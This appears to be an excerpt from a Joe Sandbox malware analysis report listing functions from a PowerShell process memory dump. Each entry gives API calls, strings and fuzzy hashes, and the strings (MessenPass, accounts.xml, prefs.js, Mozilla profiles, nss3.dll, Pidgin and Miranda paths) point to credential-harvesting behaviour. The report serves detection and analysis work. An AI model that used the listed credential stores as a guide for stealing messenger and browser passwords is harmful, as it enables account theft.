Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: 39eec9e8f364713fb9ebedea39b78bb371c8d5d8ce807c4bf4127dc0ebf7dabd
Instruction ID: 077d2ad6405c458e4821e20ddf5ab0b81a66c3d9f88b424bd3f36c9f492752c9
Opcode Fuzzy Hash: 39eec9e8f364713fb9ebedea39b78bb371c8d5d8ce807c4bf4127dc0ebf7dabd
Instruction Fuzzy Hash: F0310AB4A007008FDB609F2AD945692FBF4FF84305F25886FD549CB262D7B8D491CB19

Function 004116A9 Relevance: 6.3, APIs: 5, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 004116B5
_strcmpi.MSVCRT ref: 004116C4
strchr.MSVCRT ref: 004116D5
memset.MSVCRT ref: 00411701

Part of subcall function 00406A87: _mbscpy.MSVCRT ref: 00406A91
Part of subcall function 00406A87: strrchr.MSVCRT ref: 00406A9C

_strcmpi.MSVCRT ref: 0041171D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpistrchr$_mbscpymemsetstrrchr
String ID:
API String ID: 274398480-0
Opcode ID: 8152aa6171c4159ef6465b31656666253e18c95892931f65106702393bd21b79
Instruction ID: 328b4c9133cd54f2635944cbca80cb08cea31e8af7c0159c33255436c65d5f23
Opcode Fuzzy Hash: 8152aa6171c4159ef6465b31656666253e18c95892931f65106702393bd21b79
Instruction Fuzzy Hash: C601D6756082087AEB20BB72DC03FCB3B9C8F1175AF10005FF689A50D1EEA8D6C146AD

Function 0040C9C7 Relevance: 6.3, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C9E6
memset.MSVCRT ref: 0040C9FC
memset.MSVCRT ref: 0040CA0E
memcpy.MSVCRT ref: 0040CA33
memset.MSVCRT ref: 0040CA3D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: db955d66aa391fc484fd506110ad959e30d2163aa55218731a18cbda7d247bce
Instruction ID: 72ff1d110960cc82dd2bfc388b685e2dd0a1937d99bf851f24f672c8116534dd
Opcode Fuzzy Hash: db955d66aa391fc484fd506110ad959e30d2163aa55218731a18cbda7d247bce
Instruction Fuzzy Hash: 4C0128B1740B00B6D231EF29DC43F6A7BA49F91B18F100B1EF1526A6C1E7B8B244865D

Function 0040AE7D Relevance: 6.1, APIs: 4, Instructions: 114stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040972B: ??2@YAPAXI@Z.MSVCRT ref: 0040974C
Part of subcall function 0040972B: ??3@YAXPAX@Z.MSVCRT ref: 00409813

strlen.MSVCRT ref: 0040AEA3
atoi.MSVCRT ref: 0040AEB1
_mbsicmp.MSVCRT ref: 0040AF04
_mbsicmp.MSVCRT ref: 0040AF17

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbsicmp$??2@??3@atoistrlen
String ID:
API String ID: 4107816708-0
Opcode ID: 3a59e25db7847bfcb7a2cf7fa4c60edbf2d33e4cde8c95d2bbbe957afd87409f
Instruction ID: 08bf478f3eb11018bf028c01ffb7f168253fa3ae9792e106a9a4f60ade7b3b20
Opcode Fuzzy Hash: 3a59e25db7847bfcb7a2cf7fa4c60edbf2d33e4cde8c95d2bbbe957afd87409f
Instruction Fuzzy Hash: B8414975900305EFCB11DF69D580A9ABBF4FB48308F1084BAEC15AB392D778DA51CB59

Function 00413646 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00413653

Strings

>, xrefs: 00413679
>, xrefs: 004136B4
>, xrefs: 0041368E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen
String ID: >$>$>
API String ID: 39653677-3911187716
Opcode ID: fe18d8dd2c8264a7d2d3ac72613768907538146584e0663d827c53e1f55572e9
Instruction ID: dc7a302430b06bbc29ce8331a0d654e54ba56492e0c60a2da2e35593be10561b
Opcode Fuzzy Hash: fe18d8dd2c8264a7d2d3ac72613768907538146584e0663d827c53e1f55572e9
Instruction Fuzzy Hash: 7B31FBA580D2C4AED7219F6880557EEFFA14F22305F1886DAC0D447383C22C9BCAD75A

Function 0040EA56 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040EA89
strlen.MSVCRT ref: 0040EA8F
strlen.MSVCRT ref: 0040EA9C

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

accounts.xml, xrefs: 0040EA94, 0040EA99, 0040EAAC

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: accounts.xml
API String ID: 581844971-666780623
Opcode ID: 3b236e653348da5417edaa74ab4b2c2d6336b1da36662295ef381eeb4047c0c7
Instruction ID: 3a6749a91d87314aa81efbea2023e77c1fe97455d9ba7aea10baf3c7dddfb932
Opcode Fuzzy Hash: 3b236e653348da5417edaa74ab4b2c2d6336b1da36662295ef381eeb4047c0c7
Instruction Fuzzy Hash: 9C210471A041186BCB10EB66DC416DFB7F8AF55314F0484BBE009E7142DBB8EA958FE8

Function 0040EB3D Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040EB70
strlen.MSVCRT ref: 0040EB76
strlen.MSVCRT ref: 0040EB83

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

accounts.xml, xrefs: 0040EB7B, 0040EB80, 0040EB93

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: accounts.xml
API String ID: 581844971-666780623
Opcode ID: 525a6947399d2dc96bd98280f09e98ebf0a88ac4f7fc2c84a32f5a3fc94ac3d7
Instruction ID: f45e0dada1ac7c46e734b25b908a600237734d5f3cbc55dd7ef5ba4cf50aaebb
Opcode Fuzzy Hash: 525a6947399d2dc96bd98280f09e98ebf0a88ac4f7fc2c84a32f5a3fc94ac3d7
Instruction Fuzzy Hash: AD21F5719041185BDB11EB26DC41ACA77BC5F51314F0484BBA508E7141DBB8EAD68FD8

Function 00407364 Relevance: 6.1, APIs: 4, Instructions: 65stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00407375

Part of subcall function 00406982: malloc.MSVCRT ref: 0040699E
Part of subcall function 00406982: memcpy.MSVCRT ref: 004069B6
Part of subcall function 00406982: ??3@YAXPAX@Z.MSVCRT ref: 004069BF

??3@YAXPAX@Z.MSVCRT ref: 00407398
??3@YAXPAX@Z.MSVCRT ref: 004073BB
memcpy.MSVCRT ref: 004073DB

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@$memcpy$mallocstrlen
String ID:
API String ID: 1171893557-0
Opcode ID: 8daacff24f09ec1835eef878112350759b5147539b71cc7ee53649a8fd930fc3
Instruction ID: d47861f91907e87d10e443503ad883c0cefe0bd36095b640ea2ff485cde935f6
Opcode Fuzzy Hash: 8daacff24f09ec1835eef878112350759b5147539b71cc7ee53649a8fd930fc3
Instruction Fuzzy Hash: 53218C71204604AFD730DF18E881996B7F5EF04324B208A2EFC6A9B6D1C735FA59CB55

Function 00407944 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00407979
memset.MSVCRT ref: 0040798A
memcpy.MSVCRT ref: 00407996
??3@YAXPAX@Z.MSVCRT ref: 004079A3

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: e2cfaa68213c0131ff58227f61e715dee9609dc152932ae150db42a1ac1bab38
Instruction ID: be4f301e428eab7478e357bf13cd6827c7edeb2881237a21e1a336ab79825493
Opcode Fuzzy Hash: e2cfaa68213c0131ff58227f61e715dee9609dc152932ae150db42a1ac1bab38
Instruction Fuzzy Hash: C8116DB1608601AFE329DF19D881A26F7E5FF88300F20892EE4DA87391D635E841CB55

Function 0040E4B6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E4DF
strlen.MSVCRT ref: 0040E4EA
strlen.MSVCRT ref: 0040E4F8

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

prefs.js, xrefs: 0040E4F0, 0040E4F5, 0040E506

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: prefs.js
API String ID: 581844971-3783873740
Opcode ID: e695a85550e18a578563b94c74fc6493014cfdadf8041b930889a3e806ae1ffc
Instruction ID: 18aa10c61fb3677f8c34c5df747d0d2d010b9cd1cf1f562783039ea2ec755a14
Opcode Fuzzy Hash: e695a85550e18a578563b94c74fc6493014cfdadf8041b930889a3e806ae1ffc
Instruction Fuzzy Hash: 9C01C87190011CBADB11EA95EC42BCABBAC9F0531DF1008BBE604E2181E7B49B948794

Function 0040D4E9 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D516
strlen.MSVCRT ref: 0040D52E
strlen.MSVCRT ref: 0040D53C

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

Mozilla\Profiles, xrefs: 0040D529, 0040D552

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: Mozilla\Profiles
API String ID: 581844971-2796945589
Opcode ID: 5a999460c3217843dc6f32f88e89d1702dbadaddf9eabefba75398abb63b17c1
Instruction ID: 3c6ae931ffe100bc814a6c4c739c4374e257fa1fb59e82d364b3a540d615c615
Opcode Fuzzy Hash: 5a999460c3217843dc6f32f88e89d1702dbadaddf9eabefba75398abb63b17c1
Instruction Fuzzy Hash: 2201F07290821466D711A6699C42FCA779C4F21759F2404BBF5C5F31C2EDB899C443A9

Function 0040D578 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D5A5
strlen.MSVCRT ref: 0040D5BD
strlen.MSVCRT ref: 0040D5CB

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

.purple, xrefs: 0040D5B8, 0040D5E1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: .purple
API String ID: 581844971-1504268026
Opcode ID: 2ac43bd667000255b1d56cb9d4d28ea446a45af95856c73e5f907134ba4c6b56
Instruction ID: 5dc147b8957afa7b06b9bacfad0a4e1db4396cb0d3e541dfcccdd27de6d8d665
Opcode Fuzzy Hash: 2ac43bd667000255b1d56cb9d4d28ea446a45af95856c73e5f907134ba4c6b56
Instruction Fuzzy Hash: 8C0120725081146AD711A669DC42BCA779C4F21709F2404BFF5C5F71C2FEB899C543AD

Function 0040D607 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D634
strlen.MSVCRT ref: 0040D64C
strlen.MSVCRT ref: 0040D65A

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

.gaim, xrefs: 0040D647, 0040D670

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: .gaim
API String ID: 581844971-3490432478
Opcode ID: adcac243f634cd9f4ba49c533a924e47bd2570a5673518b618adaff46f672105
Instruction ID: a115bc8fa66553d394cd4cab83c679d7ef9605289ec37c5517f9616187ac7207
Opcode Fuzzy Hash: adcac243f634cd9f4ba49c533a924e47bd2570a5673518b618adaff46f672105
Instruction Fuzzy Hash: 540120729082546AD721A6699C42BCB779C4F21709F2008BFF5C8F31C2EEBC5AC543A9

Function 0040D696 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D6C3
strlen.MSVCRT ref: 0040D6DB
strlen.MSVCRT ref: 0040D6E9

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

Miranda, xrefs: 0040D6D6, 0040D6FF

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: Miranda
API String ID: 581844971-4004425691
Opcode ID: a1f73f7abb57728e4712774607e4362808b5bed289a3dcc15fc17451e6932546
Instruction ID: c142bb7588fded06bca0c3959130fc7bc280b220a29219a6f5312b9b0058b910
Opcode Fuzzy Hash: a1f73f7abb57728e4712774607e4362808b5bed289a3dcc15fc17451e6932546
Instruction Fuzzy Hash: 180120769081146AD721BA699C42BDA779C4F21709F2404BBF5C4F31C2EEB859C543BD

Function 0040623F Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT ref: 00406261
_mbscpy.MSVCRT ref: 0040629E
_mbscpy.MSVCRT ref: 004062B2
_mbscpy.MSVCRT ref: 004062C1

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscpy
String ID:
API String ID: 714388716-0
Opcode ID: ab229b3bd327be627bfa6a8927dcfeb4b0251fbfa2f001aa23d8bafecd458d55
Instruction ID: dce8e19ef7dbf3e453dc58d21b67a2b53133f69bc0796553bf20bccd0e5dc17f
Opcode Fuzzy Hash: ab229b3bd327be627bfa6a8927dcfeb4b0251fbfa2f001aa23d8bafecd458d55
Instruction Fuzzy Hash: 310144769002089BCB22EBA5DC85EDB77BCAF88305F0004ABF54797141EF38A7C48B54

Function 0040B15B Relevance: 6.0, APIs: 4, Instructions: 45windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040876F: LoadStringA.USER32(00000000,00000006,?,?), ref: 00408838
Part of subcall function 0040876F: memcpy.MSVCRT ref: 00408877

sprintf.MSVCRT ref: 0040B181
SendMessageA.USER32(?,00000401,00000000,?), ref: 0040B1E4

Part of subcall function 0040876F: _mbscpy.MSVCRT ref: 004087EA
Part of subcall function 0040876F: strlen.MSVCRT ref: 00408808

sprintf.MSVCRT ref: 0040B1AB
_mbscat.MSVCRT ref: 0040B1BE

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: sprintf$LoadMessageSendString_mbscat_mbscpymemcpystrlen
String ID:
API String ID: 203655857-0
Opcode ID: 48bcd73753a3de1088a11b84d960efb43f629dc3a258219230a3a5f3ea5ed895
Instruction ID: ecab945e31bd422c391273073b57af520698e657e98585e8788b6dab187b6cf3
Opcode Fuzzy Hash: 48bcd73753a3de1088a11b84d960efb43f629dc3a258219230a3a5f3ea5ed895
Instruction Fuzzy Hash: 0E0167B25003046AD721B775DC86FEB73AC6B04704F14046FB655B6182EA79EA848A68

Function 00405E4A Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405E6C
strlen.MSVCRT ref: 00405E74
strlen.MSVCRT ref: 00405E81

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

nss3.dll, xrefs: 00405E79, 00405E7E, 00405E91

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$_mbscat_mbscpymemset
String ID: nss3.dll
API String ID: 581844971-2492180550
Opcode ID: dc525abc6d6edebac6bfa9b108e260368fb5f6e693cc622c55a843e41b0e11e7
Instruction ID: 0509c7bfbc4d162460136cac1117631891986418d94c1b22c83112455de3b5d3
Opcode Fuzzy Hash: dc525abc6d6edebac6bfa9b108e260368fb5f6e693cc622c55a843e41b0e11e7
Instruction Fuzzy Hash: 44F0CD7140C1186BDB10E769DC45FDA7BAC8F61719F1000B7F589E60C1DAB8ABC546A5

Function 0040A6B4 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A6D7
memset.MSVCRT ref: 0040A6ED

Part of subcall function 00409DD6: _mbscpy.MSVCRT ref: 00409DDB
Part of subcall function 00409DD6: _strlwr.MSVCRT ref: 00409E1E

sprintf.MSVCRT ref: 0040A717

Part of subcall function 004067EC: strlen.MSVCRT ref: 004067F9
Part of subcall function 004067EC: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,0040A46C,?,<item>), ref: 00406806

Strings

</%s>, xrefs: 0040A711

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$FileWrite_mbscpy_strlwrsprintfstrlen
String ID: </%s>
API String ID: 3699762281-259020660
Opcode ID: ebb575c85aeda559d8ae490dab39b8bfe5ab3b1401c28d73b294ba1e58331789
Instruction ID: 76c63a3487c2ea4e5ea40729799977580a4d7530bed5194a5a383ad1b54ece87
Opcode Fuzzy Hash: ebb575c85aeda559d8ae490dab39b8bfe5ab3b1401c28d73b294ba1e58331789
Instruction Fuzzy Hash: EB01F97290012977D720A719CC46FDE7B6CAF55705F0400FAB50DF3142EA749B848BA5

Function 0040783B Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 35stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407930: FindClose.KERNELBASE(?,00407846,00000000,?,?,?,004042E3,?), ref: 0040793A

Part of subcall function 00406958: strlen.MSVCRT ref: 0040695D
Part of subcall function 00406958: memcpy.MSVCRT ref: 00406972

strlen.MSVCRT ref: 00407862
strlen.MSVCRT ref: 0040786F

Part of subcall function 00406B4B: _mbscpy.MSVCRT ref: 00406B53
Part of subcall function 00406B4B: _mbscat.MSVCRT ref: 00406B62

Strings

B@, xrefs: 00407846
*.*, xrefs: 00407867, 0040786C, 00407883

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: strlen$CloseFind_mbscat_mbscpymemcpy
String ID: *.*$B@
API String ID: 470300861-2086290067
Opcode ID: e71b7bb2728435c35afb30c195da2c5469ab4e5e2b82df99b22387a96c315497
Instruction ID: 1d68107b6d1fc83258085f2e46244374cde2cc5f318db11bb1f65da7a858b60d
Opcode Fuzzy Hash: e71b7bb2728435c35afb30c195da2c5469ab4e5e2b82df99b22387a96c315497
Instruction Fuzzy Hash: C7F0E972D082166FD200AA66984599BBB9C8F52729F11443FF808B7142D63D6D0643AF

Function 00411F43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,?,?,?,?,00411FF1), ref: 00411F53
GetProcAddress.KERNEL32(00000000,?), ref: 00411FB7

Strings

ntdll.dll, xrefs: 00411F4E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: cf6c50f50f44cecb4388a2af7e072cf3b9c31d8bc14ef792baaddb37fc731a17
Instruction ID: c3f2c9e477f8672f67090740fae2e549de1e6c2fb6487af2d15ed3ca5984443d
Opcode Fuzzy Hash: cf6c50f50f44cecb4388a2af7e072cf3b9c31d8bc14ef792baaddb37fc731a17
Instruction Fuzzy Hash: DC110D20D0C6C9EDEB12C7ACC4087DEBEF55B16709F0880E8C585A6292C7BA5658C776

Function 0040923A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00409252
SendMessageA.USER32(?,00001019,00000000,?), ref: 00409281

Strings

", xrefs: 0040927A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: MessageSendmemset
String ID: "
API String ID: 568519121-123907689
Opcode ID: 462f7bc00b01c5c665d1b728afa31af522ee25155d9d26ee29ef20d9ca5f4486
Instruction ID: 143eebe103db385490b988b1a572ada648b34fe061aa254f91e3f3e50342256c
Opcode Fuzzy Hash: 462f7bc00b01c5c665d1b728afa31af522ee25155d9d26ee29ef20d9ca5f4486
Instruction Fuzzy Hash: 0A01A275800205FBDB218F95C845AAFB7B8FF84B59F00842DE854A6281E3349945CB69

Function 0040C3AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegisterClassA.USER32(?), ref: 0040C3F0
CreateWindowExA.USER32(00000000,MessenPass,MessenPass,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000), ref: 0040C418

Strings

MessenPass, xrefs: 0040C3FD, 0040C415, 0040C416

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ClassCreateRegisterWindow
String ID: MessenPass
API String ID: 3469048531-1347981195
Opcode ID: 67992f16593fd71ff76a11f6399149812f2a11e7935b78172462f25744a6f341
Instruction ID: df568ce2afab08691587747be1d5034a2dd7dfffecd18501b630fd2d0d2d029c
Opcode Fuzzy Hash: 67992f16593fd71ff76a11f6399149812f2a11e7935b78172462f25744a6f341
Instruction Fuzzy Hash: 0701E8B5D00608AFDB11CF9ACD49ADFFFF8EB89704F10802BE541A6250D7B46640CB68

Function 0040F94E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(0040F292,?,00000000,00000000,00418AF8,00000000,?,?,0040F8C4,?,00000000,?,76232EE0), ref: 0040F968
memset.MSVCRT ref: 0040F973

Strings

.#v, xrefs: 0040F970, 0040F979

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FilePointermemset
String ID: .#v
API String ID: 352010112-507759092
Opcode ID: b08b37efe74314bc7153cc0f7b1b12a441d4564d3bf1687e310da48c4f7abb59
Instruction ID: c9e48e0178ef7986bf6f062653ffe96eb337f7ac86c8b5f60fa1fdd839f5e59a
Opcode Fuzzy Hash: b08b37efe74314bc7153cc0f7b1b12a441d4564d3bf1687e310da48c4f7abb59
Instruction Fuzzy Hash: 5DF05E72900208FFDB216F67CD05D9FBBB9EB81759B01803EF909A1410D2359E15DBA4

Function 00408A29 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000), ref: 00408A31
sprintf.MSVCRT ref: 00408A54

Part of subcall function 004088D4: GetMenuItemCount.USER32(?), ref: 004088EA
Part of subcall function 004088D4: memset.MSVCRT ref: 0040890E
Part of subcall function 004088D4: GetMenuItemInfoA.USER32(?), ref: 00408944
Part of subcall function 004088D4: memset.MSVCRT ref: 00408971
Part of subcall function 004088D4: strchr.MSVCRT ref: 0040897D
Part of subcall function 004088D4: _mbscat.MSVCRT ref: 004089D8
Part of subcall function 004088D4: ModifyMenuA.USER32(?,?,00000400,?,?), ref: 004089F4

Strings

menu_%d, xrefs: 00408A4A

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Menu$Itemmemset$CountInfoLoadModify_mbscatsprintfstrchr
String ID: menu_%d
API String ID: 1129539653-2417748251
Opcode ID: a21fc8c0a1f872effcd217c56cb1ebd2d456d0f88aeeed4053934f629e37b6cb
Instruction ID: 6e6fd20b795a8bab19114a67d1783e5b01d02cb8a2ade4a69635827cbafc1364
Opcode Fuzzy Hash: a21fc8c0a1f872effcd217c56cb1ebd2d456d0f88aeeed4053934f629e37b6cb
Instruction Fuzzy Hash: EBD0C232A0030076E61033276C0EFCB29195BD2B19F54807FF400710C5DEBD018487AC

Function 00406BC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(0041E458,00000104,?,00411228,00000000,?,00000000,00000104,00000000), ref: 00406BD8
_mbscpy.MSVCRT ref: 00406BE8

Strings

XA, xrefs: 00406BCB

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: DirectoryWindows_mbscpy
String ID: XA
API String ID: 257536871-3740220071
Opcode ID: 861364e7de9ee2ae089174bca0caadeda4635289f72fc20d00e4fde06078ff85
Instruction ID: 8f816420b632b6a764ea2497921bafe0203b6dc712d69cfd7b43a4c86b5ca7f0
Opcode Fuzzy Hash: 861364e7de9ee2ae089174bca0caadeda4635289f72fc20d00e4fde06078ff85
Instruction Fuzzy Hash: 47D05E7540C260BFF7109B12FC45AC63FE4EF49334F10803AF804961A0EB746981869C

Function 00409141 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004069E8: GetModuleFileNameA.KERNEL32(00000000,00000104,00000104,00409147,00000000,0040905A,?,00000000,00000104), ref: 004069F3

strrchr.MSVCRT ref: 0040914A
_mbscat.MSVCRT ref: 0040915F

Strings

_lng.ini, xrefs: 00409159

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FileModuleName_mbscatstrrchr
String ID: _lng.ini
API String ID: 3334749609-1948609170
